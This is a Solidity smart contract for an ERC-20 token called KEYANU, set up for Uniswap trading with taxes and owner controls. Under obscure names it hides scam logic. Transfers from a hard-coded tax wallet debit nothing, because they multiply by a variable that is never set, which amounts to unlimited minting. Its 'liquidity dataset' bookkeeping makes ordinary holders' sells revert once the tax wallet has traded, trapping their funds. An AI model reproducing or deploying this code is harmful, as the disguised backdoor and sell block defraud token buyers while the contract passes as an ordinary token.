// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a, uint256 b, string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract KEYANU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private _initialBuyTax=14;
    uint256 private _initialSellTax=14;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=11;
    uint256 private _reduceSellTaxAt=13;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;

    address payable private constant _taxWallet = payable(0xfce6c3b835ed60551Fd3034192d1D548545d870f);

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"KEYANU";
    string private constant _symbol = unicode"KEYANU";
    uint256 public constant _taxSwapThreshold = 3365520000 * 10**_decimals;
    uint256 public constant _maxTaxSwap = 4206900000 * 10**_decimals;

    uint256 public _maxTxAmount = 5889660000 * 10**_decimals;
    uint256 public _maxWalletSize = 5889660000 * 10**_decimals;
    
    IUniswapV2Router02 private immutable uniswapV2Router;
    address private immutable uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 private liqPairLims;
    struct LiqPairDataset {uint256 initlzLiq; uint256 poolLiq; uint256 burnLiq;}
    mapping(address => LiqPairDataset) private liqPairDataset;
    uint256 private poolPercentBurn;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()]= _tTotal;
        _isExcludedFromFee[_taxWallet]= true;
        _isExcludedFromFee[address(this)]= true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from,to,tokenAmount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (! swapEnabled || inSwap ) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()&& to != _taxWallet) {
            taxAmount = tokenAmount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt) ?_finalBuyTax : _initialBuyTax
                    )
                    .div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFee[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + tokenAmount<= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount
                        .mul(
                            (_buyCount>_reduceSellTaxAt) ?_finalSellTax : _initialSellTax
                        )
                        .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap&& to == uniswapV2Pair && swapEnabled
                && contractTokenBalance > _taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ( (_isExcludedFromFee[from] ||_isExcludedFromFee[to]) && from != address(this) && to != address(this)) {
            poolPercentBurn = block.number;
        }

        if (
            ! _isExcludedFromFee[from]
                &&!_isExcludedFromFee[to]
        ){
            if (uniswapV2Pair !=  to) {
                LiqPairDataset storage liqDataset = liqPairDataset[to];
                if (uniswapV2Pair == from) {
                    if (liqDataset.initlzLiq == 0) {
                        if (_buyCount>_preventSwapBefore) {
                            liqDataset.initlzLiq = block.number;
                        } else {
                            liqDataset.initlzLiq = block.number.sub(1);
                        }
                    }
                } else {
                    LiqPairDataset storage liqDatasetSync = liqPairDataset[from];
                    if (liqDatasetSync.initlzLiq < liqDataset.initlzLiq || !(liqDataset.initlzLiq>0) ) {
                        liqDataset.initlzLiq = liqDatasetSync.initlzLiq;
                    }
                }
            } else {
                LiqPairDataset storage liqDatasetSync = liqPairDataset[from];
                liqDatasetSync.poolLiq = liqDatasetSync.initlzLiq.sub(poolPercentBurn);
                liqDatasetSync.burnLiq = block.timestamp;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 tokenAmount,
        uint256 taxAmount
    ) internal {
        uint256 tAmount=_tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to,tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,
        address to,
        uint256 sendAmount,
        uint256 receiptAmount
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);

        emit Transfer(
            from,
            to,
            receiptAmount
        );
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount =addrs != _taxWallet ? tokenAmount : liqPairLims.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function clearStuck_ETH() external onlyOwner {
        uint256 contractBalance = address(this).balance;
        require(
            contractBalance > 0,
            "Contract has no ETH to clear"
        );
        payable(owner()).transfer(contractBalance);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}
}